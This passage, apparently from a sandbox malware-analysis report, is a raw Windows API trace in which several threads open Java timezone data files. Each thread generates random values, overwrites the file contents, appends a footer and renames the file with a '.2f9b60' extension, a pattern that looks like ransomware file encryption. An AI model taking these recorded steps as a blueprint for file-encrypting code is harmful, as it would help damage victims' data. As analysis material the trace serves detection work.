0x1b82d080 [0161.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced17f0 [0161.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0161.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a66e0 [0161.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a66e0) returned 1 [0161.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d0a0 [0161.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a66e0 [0161.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6710 [0161.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6710) returned 1 [0161.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0161.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced17f0) returned 1 [0161.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b78e180 [0161.942] SetFilePointerEx (in: hFile=0x1394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.942] WriteFile (in: hFile=0x1394, lpBuffer=0x1b78e180*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a37fad0, lpOverlapped=0x0 | out: lpBuffer=0x1b78e180*, lpNumberOfBytesWritten=0x2a37fad0*=0xf8, lpOverlapped=0x0) returned 1 [0163.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e40 [0163.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e40) returned 1 [0163.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0163.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e40 [0163.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e10 [0163.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e10) returned 1 [0163.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d040 [0163.871] sprintf (in: _Dest=0x1b82d040, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.871] sprintf (in: _Dest=0x1b82d042, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.871] sprintf (in: _Dest=0x1b82d044, _Format="%c%c" | out: _Dest="79") returned 2 [0163.871] sprintf (in: _Dest=0x1b82d046, _Format="%c%c" | out: _Dest="01") returned 2 [0163.871] sprintf (in: _Dest=0x1b82d048, _Format="%c%c" | out: _Dest="15") returned 2 [0163.871] sprintf (in: _Dest=0x1b82d04a, _Format="%c%c" | out: _Dest="31") returned 2 [0163.871] RtlInitAnsiString (in: DestinationString=0x2a37fb48, SourceString="8da079011531" | out: DestinationString="8da079011531") [0163.871] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a37fb18, SourceString="8da079011531", AllocateDestinationString=1 | out: DestinationString="8da079011531") returned 0x0 [0163.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1cdd8d50 [0163.872] RtlFreeAnsiString (AnsiString="8") [0163.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d040) returned 1 [0163.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0163.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e40) returned 1 [0163.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e180) returned 1 [0163.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0a0) returned 1 [0163.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a66e0) returned 1 [0163.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a66b0) returned 1 [0163.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cc0) returned 1 [0163.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d80) returned 1 [0163.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8db0) returned 1 [0163.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b858360 [0163.875] wcscat (in: _Dest=0x1b858360, _Source="8da" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\8da") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\8da" [0163.875] wcscat (in: _Dest=0x1b858360, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\8da.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\8da.2f9b60" [0163.875] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\8da.2f9b60", NtPathName=0x2a37faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\8da.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c22630 [0243.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22630) returned 1 [0243.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2c090) returned 1 [0243.954] NtQueryInformationFile (in: FileHandle=0x1394, IoStatusBlock=0x2a37fb58, FileInformation=0x2a37fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a37fb58, FileInformation=0x2a37fb68) returned 0x0 [0243.954] NtSetInformationFile (FileHandle=0x1394, IoStatusBlock=0x2a37fb58, FileInformation=0x2a37fb68, Length=0x28, FileInformationClass=0x4) Thread: id = 2455 os_tid = 0x1ed0 [0153.881] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cst6cdt")) returned 0x20 [0153.882] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT", dwFileAttributes=0x20) returned 1 [0153.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CST6CDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cst6cdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1390 [0153.883] GetFileSizeEx (in: hFile=0x1390, lpFileSize=0x2a74fae0 | out: lpFileSize=0x2a74fae0*=1272) returned 1 [0153.883] SetFilePointerEx (in: hFile=0x1390, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.883] ReadFile (in: hFile=0x1390, lpBuffer=0x2a74fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a74faa8, lpOverlapped=0x0 | out: lpBuffer=0x2a74fa60*, lpNumberOfBytesRead=0x2a74faa8*=0x4, lpOverlapped=0x0) returned 1 [0153.959] SetFilePointerEx (in: hFile=0x1390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c90 [0153.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8cc0 [0153.959] NtQuerySystemTime (in: CurrentTime=0x2a74f9a0 | out: CurrentTime=0x2a74f9a0*=132462177590962000) returned 0x0 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x17c70ce8 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x3ebf25c7 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x7863d6a [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x24882962 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0xf46957f [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x87c423d [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x2c882a2 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x3d43d945 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x760803ae [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x330d1550 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x4de6d05f [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x6bee88f4 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x795759af [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x4645bff1 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0xd6b0f69 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x30317ed [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x5acf0e14 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x9deffeb [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x64f0cdd4 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0xa3b19e6 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x2fcd9bc8 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x5b05e169 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x1aca4a68 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x19e559dd [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x370d3724 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x16988af3 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x6e6d16da [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x47f74821 [0153.960] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x241bffc8 [0153.961] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x366b6fec [0153.961] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x49fb7a03 [0153.961] RtlRandomEx (in: Seed=0x2a74f990 | out: Seed=0x2a74f990) returned 0x7b39ca3 [0153.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8cf0 [0153.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ac0 [0153.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0153.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0153.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cc0) returned 1 [0153.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced17a0 [0153.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ac0 [0153.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427616b0 [0153.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427652c0 [0153.972] ReadFile (in: hFile=0x1390, lpBuffer=0x427616b0, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2a74f990, lpOverlapped=0x0 | out: lpBuffer=0x427616b0*, lpNumberOfBytesRead=0x2a74f990*=0x4f8, lpOverlapped=0x0) returned 1 [0153.972] SetFilePointerEx (in: hFile=0x1390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.972] WriteFile (in: hFile=0x1390, lpBuffer=0x427652c0*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2a74f994, lpOverlapped=0x0 | out: lpBuffer=0x427652c0*, lpNumberOfBytesWritten=0x2a74f994*=0x4f8, lpOverlapped=0x0) returned 1 [0161.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6410 [0161.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6440 [0161.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6440) returned 1 [0161.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427652c0) returned 1 [0161.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427616b0) returned 1 [0161.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0161.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced17a0) returned 1 [0161.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a6440 [0161.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced17a0 [0161.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ac0 [0161.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6470 [0161.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6470) returned 1 [0161.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a6470 [0161.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64a0 [0161.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64d0 [0161.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64d0) returned 1 [0161.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0161.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced17a0) returned 1 [0161.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x423a91b0 [0161.912] SetFilePointerEx (in: hFile=0x1390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.912] WriteFile (in: hFile=0x1390, lpBuffer=0x423a91b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2a74fab0, lpOverlapped=0x0 | out: lpBuffer=0x423a91b0*, lpNumberOfBytesWritten=0x2a74fab0*=0x100, lpOverlapped=0x0) returned 1 [0163.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b730 [0163.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a90 [0163.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a90) returned 1 [0163.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0163.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a90 [0163.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a60 [0163.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a60) returned 1 [0163.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b730) returned 1 [0163.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x422f3a60 [0163.840] sprintf (in: _Dest=0x422f3a60, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a62, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a64, _Format="%c%c" | out: _Dest="74") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a66, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a68, _Format="%c%c" | out: _Dest="86") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a6a, _Format="%c%c" | out: _Dest="bf") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a6c, _Format="%c%c" | out: _Dest="26") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a6e, _Format="%c%c" | out: _Dest="50") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a70, _Format="%c%c" | out: _Dest="46") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a72, _Format="%c%c" | out: _Dest="09") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a74, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a76, _Format="%c%c" | out: _Dest="88") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a78, _Format="%c%c" | out: _Dest="57") returned 2 [0163.840] sprintf (in: _Dest=0x422f3a7a, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.840] RtlInitAnsiString (in: DestinationString=0x2a74fb28, SourceString="c35a748d86bf26504609ba8857e3" | out: DestinationString="c35a748d86bf26504609ba8857e3") [0163.840] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a74faf8, SourceString="c35a748d86bf26504609ba8857e3", AllocateDestinationString=1 | out: DestinationString="c35a748d86bf26504609ba8857e3") returned 0x0 [0163.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce18a50 [0163.840] RtlFreeAnsiString (AnsiString="c") [0163.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a60) returned 1 [0163.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a90) returned 1 [0163.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a91b0) returned 1 [0163.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6470) returned 1 [0163.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64a0) returned 1 [0163.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6440) returned 1 [0163.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6410) returned 1 [0163.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c90) returned 1 [0163.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cf0) returned 1 [0163.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d20) returned 1 [0163.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1ce5b730 [0163.843] wcscat (in: _Dest=0x1ce5b730, _Source="c35a748" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\c35a748") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\c35a748" [0163.843] wcscat (in: _Dest=0x1ce5b730, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\c35a748.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\c35a748.2f9b60" [0163.843] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\c35a748.2f9b60", NtPathName=0x2a74fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\c35a748.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4230d880 [0243.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230d880) returned 1 [0243.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230c7b0) returned 1 [0243.788] NtQueryInformationFile (in: FileHandle=0x1390, IoStatusBlock=0x2a74fb38, FileInformation=0x2a74fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a74fb38, FileInformation=0x2a74fb48) returned 0x0 [0243.788] NtSetInformationFile (FileHandle=0x1390, IoStatusBlock=0x2a74fb38, FileInformation=0x2a74fb48, Length=0x28, FileInformationClass=0x4) Thread: id = 2456 os_tid = 0x1ed4 [0153.886] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\eet")) returned 0x20 [0153.887] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET", dwFileAttributes=0x20) returned 1 [0153.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\eet"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1388 [0153.888] GetFileSizeEx (in: hFile=0x1388, lpFileSize=0x2a5ff6c0 | out: lpFileSize=0x2a5ff6c0*=1072) returned 1 [0153.888] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x42c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.888] ReadFile (in: hFile=0x1388, lpBuffer=0x2a5ff640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a5ff688, lpOverlapped=0x0 | out: lpBuffer=0x2a5ff640*, lpNumberOfBytesRead=0x2a5ff688*=0x4, lpOverlapped=0x0) returned 1 [0153.921] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0153.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0153.921] NtQuerySystemTime (in: CurrentTime=0x2a5ff580 | out: CurrentTime=0x2a5ff580*=132462177590494000) returned 0x0 [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x1787b5d3 [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x47d82d96 [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x61266a1e [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x6cf65018 [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x60d893d1 [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x24495203 [0153.921] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x5b40bd85 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x13189338 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x23173c1a [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x5478c1a6 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x4721b998 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0xa3b6a71 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x67435778 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x5fea12da [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x21041b53 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x4e52013c [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x648ff767 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0xdb531c0 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x1401cc23 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x7e3be980 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x5ff9ab35 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x1572ac5d [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x666ed7f1 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x46352356 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x22467083 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x45ca4661 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x643fe0d6 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x3b203594 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x336fbd77 [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x43d38b3b [0153.922] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0xb1ad521 [0153.923] RtlRandomEx (in: Seed=0x2a5ff570 | out: Seed=0x2a5ff570) returned 0x6224ad5e [0153.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e00 [0153.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867c40 [0153.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265460 [0153.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0153.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 